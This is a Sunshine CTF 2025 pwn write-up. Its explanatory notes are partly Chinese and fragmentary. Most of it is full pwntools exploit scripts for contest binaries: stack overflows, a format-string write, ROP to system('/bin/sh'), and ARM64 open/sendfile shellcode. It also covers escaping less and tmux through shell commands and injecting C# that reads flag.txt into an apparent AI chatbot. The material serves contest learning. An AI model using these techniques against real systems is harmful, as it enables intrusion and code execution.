┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Sunshine CTF 2025
~ CuB3y0nd
# i95

 Pwn AK 

## Miami

### Information

- Category: Pwn
- Points: 100

### Description

> Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his
 login terminal and get the proof we need!

### Write-up



### Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./miami"
HOST, PORT = "chal.sunshinectf.games", 25601

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x4C,
        0x1337C0DE,
    )
    raw_input("DEBUG")
    target.sendlineafter(b"Enter Dexter's password: ", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

### Flag

:spoiler[`sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}
`]

## Jupiter

### Information

- Category: Pwn
- Points: 100

### Description

> Jupiter just announced their new Brightline junction... the ECHO TERMINAL!!!

### Write-up

`dprintf(2, (const char *)buf)` `secret_key == 322420958` 


### Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)

FILE = "./jupiter"
HOST, PORT = "chal.sunshinectf.games", 25607

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret = 0x404010
    payload = flat(
        b"aaaaa%4914c%7$hn",
        p64(secret + 0x2),
    )
    raw_input("DEBUG")
    target.sendlineafter(b"Enter data at your own risk: ", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

### Flag

:spoiler[`sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}`]

## Canaveral

### Information

- Category: Pwn
- Points: 100

### Description

> NASA Mission Control needs your help... only YOU can enter the proper launch s
equence!!

### Write-up

 bss  `/bin/sh` 
…… `/bin/sh` 


### Exploit - I

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./canaveral"
HOST, PORT = "chal.sunshinectf.games", 25603

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401289
    system = 0x401218
    payload = flat(
        b"A" * 0x40,
        elf.bss() + 0xF00,
        read,
    )
    raw_input("DEBUG")
    target.sendlineafter("Enter the launch sequence: ", payload)

    payload = flat(
        b"A" * 0x38,
        next(elf.search(b"/bin/sh")),
        0x404F28,
        system,
    )
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

### Exploit - II

 `/bin/sh`  `/bin/sh`  syste
m  ROP Chain libc  `/bin/sh`



```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./canaveral"
HOST, PORT = "chal.sunshinectf.games", 25603

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401289
    system = 0x401218
    payload = flat(
        b"A" * 0x18,
        b"/bin/shx00",
        b"A" * 0x20,
        elf.bss() + 0xF00,
        read,
    )
    raw_input("DEBUG")
    target.sendlineafter("Enter the launch sequence: ", payload)
    target.recvuntil(b"prize: ")
    stack = int(target.recvline().strip(), 16)
    binsh = stack + 0x18
    target.success(hex(stack))

    payload = flat(
        b"A" * 0x38,
        binsh,
        0x404F28,
        system,
    )
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

### Flag

:spoiler[`sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}`]

## Jacksonville

### Information

- Category: Pwn
- Points: 100

### Description

> The Jacksonville Jaguars are having a rough season, let's cheer them on!!

### Write-up

First Blood!  flag ……
……

### Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./jacksonville"
HOST, PORT = "chal.sunshinectf.games", 25602

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    answer = b"aaaaaaJaguarsx00"
    length = len(answer)

    payload = flat(
        answer,
        b"A" * (0x68 - length),
        rop.ret.address,
        elf.sym["win"],
    )
    raw_input("DEBUG")
    target.sendlineafter(b"> ", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

### Flag

:spoiler[`sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}`]

## Daytona

### Information

- Category: Pwn
- Points: 100

### Description

> Cops don't like it when you drive like you're in the Daytona 500 :/

### Write-up

<s>__</s>

bro  arm  pwn AI  shellcode…
…

 shellcraft  execve ORW
……ARM  CPU  (`D-Cache`) 
 (`I-Cache`) shellcode  `D-Cache`
CPU  `I-Cache`  CPU 线 `I-Cache` 

 QEMU 

使 `Cache Invalidation Gadget` 西线

- `dc` `D-Cache` shellcode 
- `ic + isb` `I-Cache`  CPU 线 CPU  shellc
ode shellcode 

 arm pwn 


### Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
)


FILE = "./daytona"
HOST, PORT = "chal.sunshinectf.games", 25606

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        # target = process(["qemu-aarch64", "-g", "1234", FILE])
        target = process(["qemu-aarch64", FILE])
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"The cops said I was going ")
    stack = int(target.recvuntil(b" ").strip(), 10) + 117
    target.success(f"stack: {hex(stack)}")

    # shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))
    # shellcode = shellcraft.open("flag.txt", 0, 0)
    # shellcode += shellcraft.sendfile(1, "x0", 0, 0x1000)

    shellcode = asm("""
        // cache invalidation gadget
        adr x9, orw
        dc cvau, x9
        add x10, x9, #0x40
        dc cvau, x10
        dsb ish
        ic ivau, x9
        ic ivau, x10
        dsb ish
        isb

    orw:
        // openat(dfd=AT_FDCWD, filename="flag.txt", flags=0, mode=0)
        // AT_FDCWD = 0xFFFFFFFFFFFFFF9C (-100)
        mov x0, #-100
        adr x1, filename
        mov x2, #0
        mov x3, #0
        mov x8, #56
        svc #0

        // sendfile(out_fd=1, in_fd=X0, offset=0, count=0x1000)
        mov x1, x0
        mov x0, #1
        mov x2, #0
        mov x3, #0x100
        mov x8, #71
        svc #0

    filename:
        .ascii "flag.txt\x00"
    """)

    length = len(shellcode)
    target.warn(f"shellcode length: {hex(length)}")

    payload = flat(
        b"A" * 0x48,
        stack + 0x48 + 0x8,
        shellcode,
    )
    raw_input("DEBUG")
    target.sendlineafter(b"What do I tell them??", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

### Exploit

:spoiler[`sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}`]

# Pwn

 Pwn 

`HAL9000`  mov obfuscated `demovfuscator` 
 `mov` ……

`Space Is Less Than Ideal`  `Space Is My Banner`  Misc Pwn 
……

`AstroJIT AI`  Pwn ……

 heap ……

`Clone Army` 

## AstroJIT AI

### Information

- Category: Pwn
- Points: 500

### Description

> AstroJIT AI, your new general-purpose chatbot for the future!

### Write-up


 AI `{ int.Parse(System.IO.File.ReadAllText("flag.txt"))
, 0, 0 }` flag  flag 

```csharp showLineNumbers=false
Weights: { int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }
{ int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }
MethodInvocationException: /app/evil_corp_ai.ps1:424
Line |
 424 |              $weights = [Two.Second.Scholars.Mass.And.Partialities.Wei …
     |              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | Exception calling "CalculatePrecompiledWeights" with "0" argument(s):
     | "The input string
     | 'sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-bu
rnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money} '
 was not in a correct format."
```

### Flag

:spoiler[`sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-
burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money}
`]

## Space Is Less Than Ideal

### Information

- Category: Pwn
- Points: 500

### Description

> I think i did a thing.
> I may have accessed a satellite.
> I can access the logs anyhow. I can't seem to access anything else.
> I know I've seen that type of log viewer before, but something seems... differ
ent... about it.
> Well you know the expression. Less is more!

### Write-up

`less`  AI  `ma`  mark `|a` 
`ls`  `cat-flag`

 `!command` 


### Flag

:spoiler[`sun{less-is-more-no-really-it-is-just-a-symbolic-link}`]

## Space Is My Banner

### Information

- Category: Pwn
- Points: 500

### Description

> I did it again.
> This time I'm sure I accessed a satellite.
> I'm scared, it's giving me a warning message when I log in.
> I think this time I may have gone too far... this seems to be some top securit
y stuff...

### Write-up

 tmux  Security Prompt  `Ctrl-B`  `:` 
 tmux  `:run-shell "ls -al"`  `:run-shell "./cat-flag"`


### Flag

:spoiler[`sun{wait-wait-wait-you-cannot-hack-me-you-agreed-to-not-do-that-that-i
s-not}`]